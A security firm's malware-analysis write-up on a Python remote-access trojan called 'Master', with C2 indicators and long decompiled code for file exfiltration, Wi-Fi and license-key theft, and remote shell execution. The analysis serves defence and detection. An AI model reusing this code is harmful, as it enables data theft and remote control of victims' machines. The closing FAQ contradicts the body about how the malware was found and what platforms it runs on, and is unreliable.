Introduction
Recently, during an incident response engagement, we came across a new piece of malware. As we were analysing the malware, we realised it was a new sample with no apparent articles or analysis.
We found the malware in the root of the C drive. And the name of the executable resembled that of a legitimate service. It seems that when placing the executable, the slashes were stripped, resulting in the executable being called ProgramDataOracleJavaOracleService.exe.
We believe that the malware was used by threat actors to eventually roll out ransomware on the victim's systems, successfully bypassing their AntiVirus software.
Malware analysis
The malware was written in Python and compiled to an executable using PyInstaller. We were able to decompile the program to its source code with PyInstractor and Uncompyle6.
We believe that the malware was used by a threat actor to eventually roll out ransomware on the victim’s systems, successfully bypassing their AntiVirus software. One thing that immediately stood out to us was the layout of the code. In the Python code, there are a lot of if-else-if statements. This means that at one point within the source code, the malware is indented 28 times in one big while loop.
We were able to see that the original filename of the Python file was Quan_min_1.py
and that the malware was compiled by a user named kodi
, as we saw several embedded file paths, such as c:\\users\\kodi\\appdata
.
We were also able to see that the malware supported several commands, as can be seen in the Technical Analysis section below, where we discuss a thorough explanation of each command and show the relevant parts of the source code (please refer to this section if you are interested in the full technical capabilities of this framework).
The malware has the functionality of a typical C2 (Command & Control) framework, connects to a C2 server and awaits the next command. For communication between the C2 server, the malware uses a double Base64 encoding scheme without encryption. It seems that the malware is custom-made by the actor and has not been reported previously.
There appears to be no beacon functionality in the malware. If the malware loses the connection to the C2 server, it will attempt to reconnect every two seconds to restore the connection.
The first command the C2 Server tries to execute on a client is always the same. This is thetheCheck command and this command executes the chcp.exe program.
This program can be used to find out the possible language of the computer which is running the client. This could indicate that the actor is targeting only a few specific languages. The output of this program is then sent, with a hardcoded ID, to the C2 server. More on this command later.
Key Findings
The malware has a few interesting characteristics, one of which is that the malware uses the word Master a lot. Both in its communication and error handling, these strings could be used in detection engineering. It's also the reason why we dubbed this malware the master malware. The strings referencing master are in the table below:
String |
Used in |
---|---|
Master, I am in: |
|
I have failed you, master. |
|
Master! That PC hasn't got the License Key! |
|
Couldn't receive the key, master. |
|
MASTER! I fucked up! |
|
Unknown error, master |
|
Another interesting and unusual characteristic is that it uses three different encoding schemes, which are all used in Eastern European countries, suggesting that the threat actor is of Eastern European origin. The encoding schemes are:
Encoding |
Used in |
---|---|
UTF-8 |
Universally used |
CP-1251 |
Primarily used in countries that use the Cyrillic script, such as Russia, Ukraine, Belarus, Bulgaria, Serbia, Macedonia and others. |
CP-852 |
Primarily used in countries that use the Latin script, such as Bosnian, Croatian, Czech, Hungarian, Polish, Romanian, Serbian, Slovak and Slovene. |
Additional infrastructure
When we started analysing the malware, we were unaware of multiple servers hosting the same command and control server, but we quickly found that multiple servers host the same Command & Control framework.
From our analysis we knew that, for communication, the server and client were using a double Base64 encoding scheme and that we knew at least one IP address.
Looking up this IP address in a search engine we found a familiar string, which is ZEdobFEyaGxZMnM9Cg==. Decoding this string twice in Base64 presented us with theCheck command. This service is hosted on port 443, but other services are also hosted on the same machine.
The initial server we found, hosted additional services:
Port |
Description |
---|---|
22 |
SSH - Specifically OpenSSH on an Ubuntu Machine |
443 |
This Command & Control framework |
4000 |
NX Desktop - Remote Desktop Service |
We can also use this information to find out different servers hosting the same C2 frame. By doing this, we are presented with 9 servers or IP addresses that are hosting - or have hosted - this framework. List of IP addresses:
IP Address |
ASN |
---|---|
172.86.69.200 |
14956 |
212.114.52.119 |
30823 |
45.11.19.237 |
30823 |
45.11.19.93 |
30823 |
45.147.230.73 |
30823 |
45.147.231.153 |
30823 |
5.196.217.176 |
16276 |
51.89.115.122 |
16276 |
51.89.115.125 |
16276 |
And just like our initial server, these servers all host the same services on port 22, 443 and 4000, in addition to some other services, such as web servers. But these seem unrelated to our threat actor’s activities.
Using these IP addresses, we attempted to find more servers connected to this group, for example by checking if the servers reuse the same keys for SSH. This yielded little to no results, with the exception of one newly found server.
This server was 85.208.107.40 and shared the same fingerprint as 172.86.69.200. As it was a perfect match, we deem it very likely that the infrastructure belongs to the same threat actor. Host keys are generated when the SSH server software is first installed, so this means that either the host keys are copied over or something more likely, that these machines have the same image as their source.
Closing thoughts
As we come to the end of our analysis, it is interesting to note that such a simple malware was able to successfully bypass the advanced Anti Virus solutions our client had in place. This clearly shows the shortcomings of traditional Anti Virus software, where mainly known threats are detected. Instead of looking into behavioural indicators, like EDR does, it mainly looks for static indicators.
At Eye Security, we use our Managed XDR solutions to protect our clients and prevent serious cyber incidents such as ransomware. Our unique combination of technology, delivered with a human touch by real cyber experts, means we can detect known threats and prevent previously unknown threats based on behaviour and other metrics.
If you want to know how we can help, please get in touch.
Technical Analysis
Initial information
This malware was found during an Incident Response engagement by Eye Security where the Papercut Vulnerability (CVE-2023--27350) was abused to gain access to the system. On this system, we found multiple backdoors from multiple threat actors, but this backdoor and its framework were previously unknown to us. The executable was downloaded originally downloaded from:
http://update-print.sytes.net/update/183776
Dropped the following executable (sha256):
6c560ee2d6291fe4050dd25c68995264152ee380bf69a40667db65dc9519b792 ProgramDataOracleJavaOracleService.exe
Information from Detect It Easy:
PE32
Packer: PyInstaller(-)[-]
Compiler: EP:Microsoft Visual C/C++(2013-2017)[EXE32]
Compiler: Microsoft Visual C/C++(2015 v.14.0)[-]
Linker: Microsoft Linker(14.0, Visual Studio 2015 14.0*)[GUI32]
Overlay: zlib archive(-)[-]
Overlay: Binary
Data: zlib archive
Unpacking
As indicated by DIE, the file is detected as a PyInstaller
executable. Due to the way PyInstaller files are created this is easily reversible.
pyinstxtractor.py ProgramDataOracleJavaOracleService.exe
This results in .pyc
files being unpacked. We can return this to the original source code with Uncompyle6 and the following command:
ls *.pyc | xargs -I{} bash -c 'uncompyle6 {} > ../$(echo {} | sed s/pyc/py/g)'
The output files are as follows:
Filename |
---|
pyiboot01_bootstrap.py |
pyimod01_os_path.py |
pyimod02_archive.py |
pyimod03_importers.py |
Quan_min_1.py |
struct.py |
Quan_min_1.py
stands out very much, as it didn't seem part of the standard PyInstaller structure. From here on we analysed the decompiled program’s code.Capability Analysis
The file seems to be a simple (but very long-winded) C2 client. The C2 seems to connect to 212.114.52.119:443
every 2 seconds but has a constant open connection when it is established. If it finally connects, it executes the following Python code:
shell = self.master.recv(self.BUFFER)
shell = base64.decodebytes(base64.decodebytes(shell))
It receives a command from the C2 Server, Base64 decodes the string twice and then executes the according command. We found the following commands in the malware:
Plaintext Command |
Accepts Arguments |
---|---|
download |
True |
theCheck |
False |
pwd |
False |
whoami |
False |
cd |
True |
dir |
True |
upload |
True |
system_info |
False |
drives |
False |
diskserial |
False |
winkey |
False |
winkey2 |
False |
execute |
True |
unzip |
True |
delete |
True |
md5 |
True |
shell |
True |
powershell |
True |
wifi_info |
False |
recent |
False |
download
The download
command will first read in the size of the file in the arguments and send its size to the C2 server. If the operator then responds with Yes
it will read in the file, bit by bit, and send it to the C2 server. If it fails for any reason, it will send a "nullbyte".
if 'download' == str(shell, 'utf-8').split(' ', 1)[0]:
file_to_send = shell.decode('utf-8').replace('download ', '')
try:
if os.path.isfile(file_to_send):
size = os.path.getsize(file_to_send) / 1000000
size = str(size)
out = base64.encodebytes(base64.encodebytes(bytes(size, 'utf-8')))
self.master.settimeout(20.0)
self.master.send(out)
dec = self.master.recv(self.BUFFER)
dec = base64.decodebytes(base64.decodebytes(dec))
print(dec)
if dec.decode('utf-8') == 'Yes':
f = open(file_to_send, 'rb')
l = f.read(self.BUFFER)
while l:
self.master.send(l)
l = f.read(self.BUFFER)
x = self.master.recv(self.BUFFER)
f.close()
self.master.settimeout(None)
except Exception as e:
print(e)
self.master.send(b'x\\00')
self.master.settimeout(None)
theCheck
The theCheck
command will use chcp
to check the current encoding used by the Windows Operating system. The threat actor might want to use this to find out the location of the machine the malware is running on.
After it executes chcp
it will send the output, along with a hardcoded ID ('XX-XXXXX'
) and hardcoded buffer size (1024
) to the C2 server. In our case the hardcoded ID contained part of the client’s company name and what we presume to be a random identifier. If the chcp
check fails it will still forward the ID and buffer size.
if str(shell, 'utf-8') == str('theCheck'):
try:
process = subprocess.Popen('chcp',
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
code, err = process.communicate()
code = code.decode().replace('\r', '').replace('\n', '')
except Exception as e:
print(e)
code = 'Error during chcp operation.'
try:
msg = base64.encodebytes(base64.encodebytes(bytes(str(self.ID + '(' + code + ') Buffer:' + str(self.BUFFER)), 'utf-8')))
self.master.send(msg)
except Exception as e:
print(e)
pwd
The pwd
command gets the current working directory and sends it to the C2 server. If this operation fails, it will send an error.
if 'pwd' == str(shell, 'utf-8'):
self.master.settimeout(2.0)
try:
out = str(os.getcwd())
out = base64.encodebytes(base64.encodebytes(bytes(out, 'utf-8')))
self.master.send(out)
except:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown Error', 'utf-8')))
self.master.sendall(msg)
self.master.settimeout(None)
whoami
The whoami
command gets the user that’s currently running the malware and sends this to the C2 Server. If this action fails it will send an error instead.
if 'whoami' == str(shell, 'utf-8'):
self.master.settimeout(2.0)
try:
out = str(os.getlogin())
out = base64.encodebytes(base64.encodebytes(bytes(out, 'utf-8')))
self.master.send(out)
except:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown Error', 'utf-8')))
self.master.sendall(msg)
self.master.settimeout(None)
cd
The cd
command changes directory via the Python chdir
function. After the program changes directory, it will inform the actor via a remarkable string 'Master, I am in: ' + str(os.getcwd())
.
If it errors for some reason it will tell the operator about it and the reason.
if 'cd' in str(shell, 'cp1251').split(' ', 1)[0]:
self.master.settimeout(2.0)
try:
directory = shell.decode('utf-8').replace('cd ', '')
os.chdir(directory)
out = 'Master, I am in: ' + str(os.getcwd())
out = base64.encodebytes(base64.encodebytes(bytes(out, 'utf-8')))
self.master.send(out)
except NotADirectoryError:
out = base64.encodebytes(base64.encodebytes(bytes('It is not a directory', 'utf-8')))
self.master.send(out)
except FileNotFoundError:
out = base64.encodebytes(base64.encodebytes(bytes('Folder not found', 'utf-8')))
self.master.send(out)
except OSError:
pass
self.master.settimeout(None)
dir
The dir
command gets all the files and directories in the current working directory and sends each entry one by one to the C2 server and whether it's a file or folder. When it has reached the end of the list it will send an End of File mark.
if 'dir' in str(shell, 'utf-8').split(' ', 1)[0]:
msg = os.listdir(os.curdir)
dir = os.getcwd()
dir_out = base64.encodebytes(base64.encodebytes(bytes(dir, 'utf-8')))
self.master.settimeout(20.0)
self.master.send(dir_out)
for i in msg:
file = dir + '\\' + i
if os.path.isfile(file):
line = base64.encodebytes(base64.encodebytes(bytes('FILE : ' + i, 'utf-8')))
self.master.send(line)
else:
folder = base64.encodebytes(base64.encodebytes(bytes('FOLDER : ' + i, 'utf-8')))
self.master.send(folder)
self.master.recv(self.BUFFER)
i = base64.encodebytes(base64.encodebytes(bytes('!EOF!', 'utf-8')))
self.master.send(i)
self.master.settimeout(None)
upload
The upload
command allows the actor to place files on the target computer system. It will receive data in blocks of 1024 bytes from the C2 server and for each block send a "nullByte".
When the file has been completely received it will add the hidden
attribute to the file using the attrib
command.
if 'upload' in str(shell, 'utf-8').split(' ', 1)[0]:
file_to_take = shell.decode('utf-8').replace('upload ', '')
f = open(file_to_take, 'wb')
self.master.settimeout(2.0)
self.master.send(b'x\\00')
l = self.master.recv(self.BUFFER)
while l:
self.master.send(b'x\\00')
f.write(l)
if len(l) < self.BUFFER:
break
l = self.master.recv(self.BUFFER)
self.master.settimeout(None)
f.close()
subprocess.check_call(('attrib +h ' + str(file_to_take)),
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
system_info
The system_info
command uses built-in systeminfo
program to get detailed information about the current system. It will pipe the output of the command to a specific location, this is:C:\\Users\\<USER>\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_ide.db
It will add the hidden attribute to the file using the attrib
command. If systeminfo
is still executing, it will poll if the program has finished by checking the file size. After the command has successfully executed it will send the content of the thumbcache_32_64_ide.db
file to the C2 server. Once fully received by the C2 server it will remove the file.
if str(shell, 'utf-8') == str('system_info'):
system_info = 'systeminfo > ' + 'C:\\Users\\' + os.getlogin() + '\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_ide.db'
subprocess.check_call(system_info,
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
try:
file_to_send = 'C:\\Users\\' + os.getlogin() + '\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_ide.db'
subprocess.check_call(('attrib +h ' + str(file_to_send)),
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
if file_to_send:
while 1:
if os.path.getsize(file_to_send) < 1:
time.sleep(5)
else:
break
f = open(file_to_send, 'rb')
l = f.read(self.BUFFER)
self.master.settimeout(2.0)
while l:
self.master.send(l)
l = f.read(self.BUFFER)
x = self.master.recv(self.BUFFER)
f.close()
time.sleep(1)
os.remove(file_to_send)
else:
os.remove(file_to_send)
except:
pass
self.master.settimeout(None)
drives
The drives
command uses the WMI Command line utility (wmic
) to get the caption, providername, volumename, mediatype of all drives.
Field |
Description |
---|---|
caption |
The drive letter of the logical disk. |
providername |
The network path to the logical device. |
volumename |
The volume name of the logical disk. |
mediatype |
The type of media used by the logical disk. |
If any error arises it will tell the C2 server the error, if there is no error the output gets sent to the C2 server, however, if there's both no output and no error it will send an interesting string back to the C2 server.
The error it will send is I have failed you, master.
. It is however also very noteworthy that the output is converted from cp1251
encoding to utf-8
, because this encoding is traditionally used to cover Cyrillic script.
if str(shell, 'utf-8') == str('drives'):
p = subprocess.Popen('wmic logicaldisk get caption,providername,volumename, mediatype',
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
out, err = p.communicate()
self.master.settimeout(2.0)
if err:
err = base64.encodebytes(base64.encodebytes(bytes(err.decode('cp1251'), 'utf-8')))
self.master.sendall(err)
else:
if out:
out = base64.encodebytes(base64.encodebytes(bytes(out.decode('cp1251'), 'utf-8')))
self.master.sendall(out)
else:
msg = base64.encodebytes(base64.encodebytes(bytes('I have failed you, master.', 'utf-8')))
self.master.sendall(msg)
self.master.settimeout(None)
diskserial
The diskserial
uses powershell to get the serial of disk drives in the system. Here it uses WMI to get the following data:
Field |
Description |
---|---|
model |
The model number of the drive, assigned by the manufacturer. |
serialnumber |
The serial number of the drive, assigned by the manufacturer. |
mediatype |
The type of media used by the drive, e.g. SSD, HDD |
interfacetype |
The hardware interface used by the disk |
'I have failed you, master.'
.if str(shell, 'utf-8') == str('diskserial'):
try:
p = subprocess.Popen(['powershell.exe', 'Get-WmiObject win32_diskdrive | select model,serialnumber, mediatype, interfacetype'], shell=True,
stderr=(subprocess.PIPE),
stdout=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
out, err = p.communicate()
out = base64.encodebytes(base64.encodebytes(bytes(out.decode('cp1251'), 'utf-8')))
self.master.sendall(out)
except:
msg = base64.encodebytes(base64.encodebytes(bytes('I have failed you, master.', 'utf-8')))
self.master.sendall(msg)
winkey
The winkey
command uses PowerShell and WMI to find the Windows License. If it returns a key it will send this key to the C2 server, but if it finds nothing it will either forward the error or return an Uknown error.
.
if str(shell, 'utf-8') == str('winkey'):
try:
p = subprocess.Popen(['powershell.exe', "(Get-WmiObject -query 'select * from SoftwareLicensingService').OA3xOriginalProductKey"], shell=True,
stderr=(subprocess.PIPE),
stdout=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
out, err = p.communicate()
if out:
out = repr(out)
out = base64.encodebytes(base64.encodebytes(bytes(out, 'utf-8')))
self.master.sendall(out)
else:
if err:
err = repr(err)
err = base64.encodebytes(base64.encodebytes(bytes(err, 'utf-8')))
self.master.sendall(err)
else:
msg = base64.encodebytes(base64.encodebytes(bytes("Master! That PC hasn't got the License Key!", 'utf-8')))
self.master.sendall(msg)
except:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown error.', 'utf-8')))
self.master.sendall(msg)
winkey2
The winkey2
command tries to retrieve the Windows License using a different method than the winkey
command.
if str(shell, 'utf-8') == str('winkey2'):
try:
winkey = winkey2()
if winkey != '':
out = base64.encodebytes(base64.encodebytes(bytes(winkey, 'utf-8')))
self.master.sendall(out)
else:
err = base64.encodebytes(base64.encodebytes(bytes("Couldn't receive the key, master.", 'utf-8')))
self.master.sendall(err)
except:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown error.', 'utf-8')))
self.master.sendall(msg)
The winkey2
command immediately calls a different function. The code to get the License key is based on this Github code. If the Python code finds a key it will return so. If it errors it will send the following to the C2 Couldn't receive the key, master.
.
def winkey2():
def EnumAcpiTables():
FirmwareTableProviderSignature = ctypes.wintypes.DWORD(1094930505)
pFirmwareTableBuffer = ctypes.create_string_buffer(0)
BufferSize = ctypes.wintypes.DWORD(0)
EnumSystemFirmwareTables = ctypes.WinDLL('Kernel32').EnumSystemFirmwareTables
ret = EnumSystemFirmwareTables(FirmwareTableProviderSignature, pFirmwareTableBuffer, BufferSize)
pFirmwareTableBuffer = None
pFirmwareTableBuffer = ctypes.create_string_buffer(ret)
BufferSize.value = ret
ret2 = EnumSystemFirmwareTables(FirmwareTableProviderSignature, pFirmwareTableBuffer, BufferSize)
return [pFirmwareTableBuffer.value[i:i + 4] for i in range(0, len(pFirmwareTableBuffer.value), 4)]
def FindAcpiTable(table):
tables = EnumAcpiTables()
if table in tables:
return True
else:
return False
def GetAcpiTable(table, TableDwordID):
GetSystemFirmwareTable = ctypes.WinDLL('Kernel32').GetSystemFirmwareTable
FirmwareTableProviderSignature = ctypes.wintypes.DWORD(1094930505)
FirmwareTableID = ctypes.wintypes.DWORD(int(TableDwordID))
pFirmwareTableBuffer = ctypes.create_string_buffer(0)
BufferSize = ctypes.wintypes.DWORD(0)
ret = GetSystemFirmwareTable(FirmwareTableProviderSignature, FirmwareTableID, pFirmwareTableBuffer, BufferSize)
pFirmwareTableBuffer = None
pFirmwareTableBuffer = ctypes.create_string_buffer(ret)
BufferSize.value = ret
ret2 = GetSystemFirmwareTable(FirmwareTableProviderSignature, FirmwareTableID, pFirmwareTableBuffer, BufferSize)
return pFirmwareTableBuffer.raw
def GetWindowsKey():
table = b'MSDM'
TableDwordID = 1296323405
if FindAcpiTable(table) == True:
try:
rawtable = GetAcpiTable(table, TableDwordID)
return rawtable[56:len(rawtable)].decode('utf-8')
except:
return False
else:
return False
try:
WindowsKey = GetWindowsKey()
if WindowsKey == False:
pass
else:
return WindowsKey
except:
pass
execute
The execute
command will first to extract the command it has to execute by replacing the first part of the command, after which it will execute the received command. It will return no results to the C2 server.
if 'execute' == str(shell, 'utf-8').split(' ', 1)[0]:
execy = shell.decode('utf-8').replace('execute ', '')
subprocess.Popen(execy, shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE), stdin=(subprocess.PIPE), creationflags=134217728)
unzip
The unzip
command will attempt to unzip a given zip file. It will extract all the files in the current working directory. It will return no output to the C2 Server.
if 'unzip' == str(shell, 'utf-8').split(' ', 1)[0]:
zip = shell.decode('utf-8').replace('unzip ', '')
with zipfile.ZipFile(zip, 'r') as (zip_ref):
zip_ref.extractall()
delete
The delete
command will first extract the filename from the command, after which it will replace the forward slashes (/
) with two backslashes (\\
) of the file, it will then prepare the command and replace the slashes again.
This command seems to contain a bug, as it performs the replace function twice. It will construct a command line to remove the file, but in the end it will always convert /F /Q
to \\F \\Q
and thus never really remove any files. If it for any other reason raises an exception it will return an Unknown error.
.
if 'delete' == str(shell, 'utf-8').split(' ', 1)[0]:
try:
file_path = shell.decode('cp1251').replace('delete ', '').replace('/', '\\')
delete = 'del "' + str(file_path) + '"' + ' /F /Q'
if os.path.isfile(file_path):
subprocess.check_call((delete.replace('/', '\\')), shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE), stdin=(subprocess.PIPE), creationflags=134217728)
out = base64.encodebytes(base64.encodebytes(bytes('Done', 'utf-8')))
self.master.sendall(out)
else:
out = base64.encodebytes(base64.encodebytes(bytes('No such file.', 'utf-8')))
self.master.sendall(out)
except:
out = base64.encodebytes(base64.encodebytes(bytes('Unknown error.', 'utf-8')))
self.master.sendall(out)
md5
The md5
command will read in a file in blocks of 4096 bytes and hash it with the md5 algorithm from hashlib
. It will then hex digest the hash and send the output to the C2 server. If this command fails it will return a string indicating an error, this would beMASTER! I fucked up!
.
if 'md5' == str(shell, 'cp1251').split(' ', 1)[0]:
try:
filename = shell.decode('utf-8').replace('md5 ', '')
md5_hash = hashlib.md5()
with open(filename, 'rb') as (f):
for byte_block in iter((lambda: f.read(4096)), b''):
md5_hash.update(byte_block)
out = str(md5_hash.hexdigest())
out = base64.encodebytes(base64.encodebytes(bytes(out, 'utf-8')))
self.master.send(out)
except:
out = base64.encodebytes(base64.encodebytes(bytes('MASTER! I fucked up!', 'utf-8')))
self.master.send(out)
shell
The shell
command will first strip the initial command and then attempt to execute it. After execution, it will receive the output, both the stdout
and stderr
and send it to the C2 server. If it fails it will return an Unknown error, master.
back to the C2 server.
if 'shell' == str(shell, 'utf-8').split(' ', 1)[0]:
shell_cmd = shell.decode('cp1251').replace('shell ', '')
p = subprocess.Popen(shell_cmd,
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
out, err = p.communicate()
try:
if err:
err = err.decode('cp1251')
err = base64.encodebytes(base64.encodebytes(bytes(err, 'cp1251')))
self.master.sendall(err)
else:
if out:
out = out.decode('cp1251')
out = base64.encodebytes(base64.encodebytes(bytes(out, 'cp1251')))
self.master.sendall(out)
else:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown error, master', 'cp1251')))
self.master.sendall(msg)
except Exception as e:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown error, master.', 'cp1251')))
self.master.sendall(msg)
powershell
Using the powershell
command we will similarly attempt to execute a command. After execution both the stdout
and stderr
are sent to the C2 server. If it fails it will return an Unknown error, master.
back to the C2 server.
if 'powershell' == str(shell, 'utf-8').split(' ', 1)[0]:
cmd = shell.decode('cp852').replace('powershell ', '')
p = subprocess.Popen(['powershell.exe', cmd],
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
out, err = p.communicate()
try:
if err:
err = err.decode('cp852')
err = base64.encodebytes(base64.encodebytes(bytes(err, 'cp1251')))
self.master.sendall(err)
else:
if out:
out = out.decode('cp852')
out = base64.encodebytes(base64.encodebytes(bytes(out, 'cp1251')))
self.master.sendall(out)
else:
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown error, master', 'cp1251')))
self.master.sendall(msg)
except Exception as e:
print(e)
msg = base64.encodebytes(base64.encodebytes(bytes('Unknown error, master.', 'cp1251')))
self.master.sendall(msg)
wifi_info
The wifi_info
command, when received, will first of all hand off execution to a different function. This function is called wifi
and we will be able to analyze this function below.
if str(shell, 'utf-8') == str('wifi_info'):
try:
slave.wifi()
file_to_send = 'C:\\Users\\' + os.getlogin() + '\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_ide.db'
subprocess.check_call(('attrib +h ' + str(file_to_send)),
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
f = open(file_to_send, 'rb')
l = f.read(self.BUFFER)
while l:
self.master.send(l)
l = f.read(self.BUFFER)
x = self.master.recv(self.BUFFER)
f.close()
time.sleep(1)
os.remove(file_to_send)
except:
os.remove(file_to_send)
The wifi
function will first of all execute a command, which will show all profiles in a system. Where each profile is a WIFI network a computer has had a connection with.
It will extract each network name and for each network, it will attempt to get the clear-text key and store it in a specific file called thumbcache_32_64_ide.db
.
After it has completed all profiles it will return to the original function, read all bytes of the thumbcache_32_64_ide.db
file and send the content to the C2 server. After sending all data it will remove the original file.
def wifi(self):
wifilination = 'netsh wlan show profile'
p = subprocess.Popen(wifilination,
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
out, err = p.communicate()
out = str(out, 'cp1251')
Profiles = []
for line in out.splitlines():
if line.__contains__(':'):
profile = line.partition(': ')[2]
if profile != '':
Profiles.append(profile)
for x in Profiles:
show_pass = 'netsh wlan show profile name="' + x + '" key=clear'
subprocess.check_call((show_pass + '>> C:/Users/' + os.getlogin() + '/AppData/Local/Microsoft/Windows/Explorer/thumbcache_32_64_ide.db'),
shell=True, stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
recent
The recent
command is similar to the previous command this command immediately executes a new function. This is the history_from_powershell
function. We can analyse this function below.
if str(shell, 'utf-8') == str('recent'):
try:
self.history_from_powershell()
file_to_send = 'C:\\Users\\' + os.getlogin() + '\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_idex.db'
subprocess.check_call(('attrib +h ' + str(file_to_send)),
shell=True,
stdout=(subprocess.PIPE),
stderr=(subprocess.PIPE),
stdin=(subprocess.PIPE),
creationflags=134217728)
self.master.settimeout(120)
if file_to_send:
f = open(file_to_send, 'rb')
l = f.read(self.BUFFER)
while l:
self.master.send(l)
l = f.read(self.BUFFER)
x = self.master.recv(self.BUFFER)
f.close()
time.sleep(1)
os.remove(file_to_send)
else:
os.remove(file_to_send)
except Exception as e:
print(e)
msg = 'Unknown Error'
msg = base64.encodebytes(bytes(msg, 'utf-8'))
self.master.sendall(msg)
self.master.settimeout(None)
This function executes a PowerShell script and immediately returns, this script will find all lnk
files in a specific path, and write all of them into a specific file (thumbcache_32_64_idex.db
) this script is similar to the script found here.
After it has executed it will read in the full file and send it to the C2 server, after which the file will be deleted. If this fails for some reason it will send 'Unknown Error'
to the C2 server.
def history_from_powershell(self):
cmdline = '\n $WScript = New-Object -ComObject WScript.Shell\n Get-ChildItem -Path "C:\\Users\\$env:UserName\\Appdata\\Roaming\\Microsoft\\Windows\\Recent\\*.lnk" | Sort-Object LastWriteTime -Descending | ForEach-Object {if ($WScript.CreateShortcut($_.FullName).TargetPath) { $a = \'Date: {0} Filepath: {1}\' -f $_.LastWriteTime,$WScript.CreateShortcut($_.FullName).TargetPath; $a}} | Out-File "C:\\Users\\$env:UserName\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_idex.db"\n \t'
command = ['powershell.exe', '/c', cmdline]
p = subprocess.check_call(command,
stderr=(subprocess.STDOUT),
stdout=(subprocess.PIPE),
universal_newlines=True,
stdin=(subprocess.PIPE),
creationflags=134217728)
$WScript = New-Object -ComObject WScript.Shell
Get-ChildItem -Path "C:\Users\$env:UserName\Appdata\Roaming\Microsoft\Windows\Recent\*.lnk"
| Sort-Object LastWriteTime -Descending
| ForEach-Object {if ($WScript.CreateShortcut($_.FullName).TargetPath) { $a = 'Date: {0} Filepath: {1}' -f $_.LastWriteTime,$WScript.CreateShortcut($_.FullName).TargetPath; $a}}
| Out-File "C:\Users\$env:UserName\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32_64_idex.db"
Command Insights
The commands provide a few insights. Below a list of factors that stand out:
-
The overall code quality is low. All commands are nested and the maximum nesting is 28 tabs (!!). The actor also uses a lot of redundant actions. We believe the creator is not very experienced in Python, but has a general good understanding of writing a C2 framework.
-
The Python program uses three different types of encoding. All encoding types seem to lean towards standard encoding schemes used in Eastern Europe. It uses the following schemes in communications:
-
utf-8
- This encoding is the standard encoding used by the World Wide Web. It uses 8-bit encoding. -
cp1251
- This encoding is an encoding scheme used for Cyrillic Script, such as Russian, Ukrainian, etc. It also uses 8-bit for communication. -
cp852
- This encoding is an encoding scheme used for Latin Script, such as Polish, Serbian, etc. It also uses 8-bit for communication.
-
-
The actor uses the same or similar files multiple times, saved at the following location(s):
-
C:\\Users\\<USER>\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_ide.db
-
C:\\Users\\<USER>\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32_64_idex.db
-
Frequently Asked Questions about C2 Framework
What are command and control frameworks?
Command and control frameworks are systems that allow attackers to remotely control compromised machines within a target system. These frameworks enable red teamers to issue commands, execute scripts, and gather data from target machines.
How was the control framework developed by the threat actor discovered?
The control framework was discovered during a red team engagement by Eye Security. The red team used threat hunting techniques to identify the malware, which exploited the Papercut Vulnerability (CVE-2023-27350) to gain an initial foothold on the target system.
What are some features of the "Master" malware's C2 framework?
The "Master" malware's C2 framework includes features such as:
-
The ability to run commands and PowerShell scripts on compromised machines.
-
The capability to remotely control and issue commands to target machines.
-
Techniques to avoid detection and maintain persistence within the target system.
How does the malware use the control framework to operate on different operating systems?
The malware's control framework is cross-platform, allowing it to operate on various operating systems. The framework can use PowerShell scripts on Windows systems and other tools on different operating systems to execute commands and maintain control.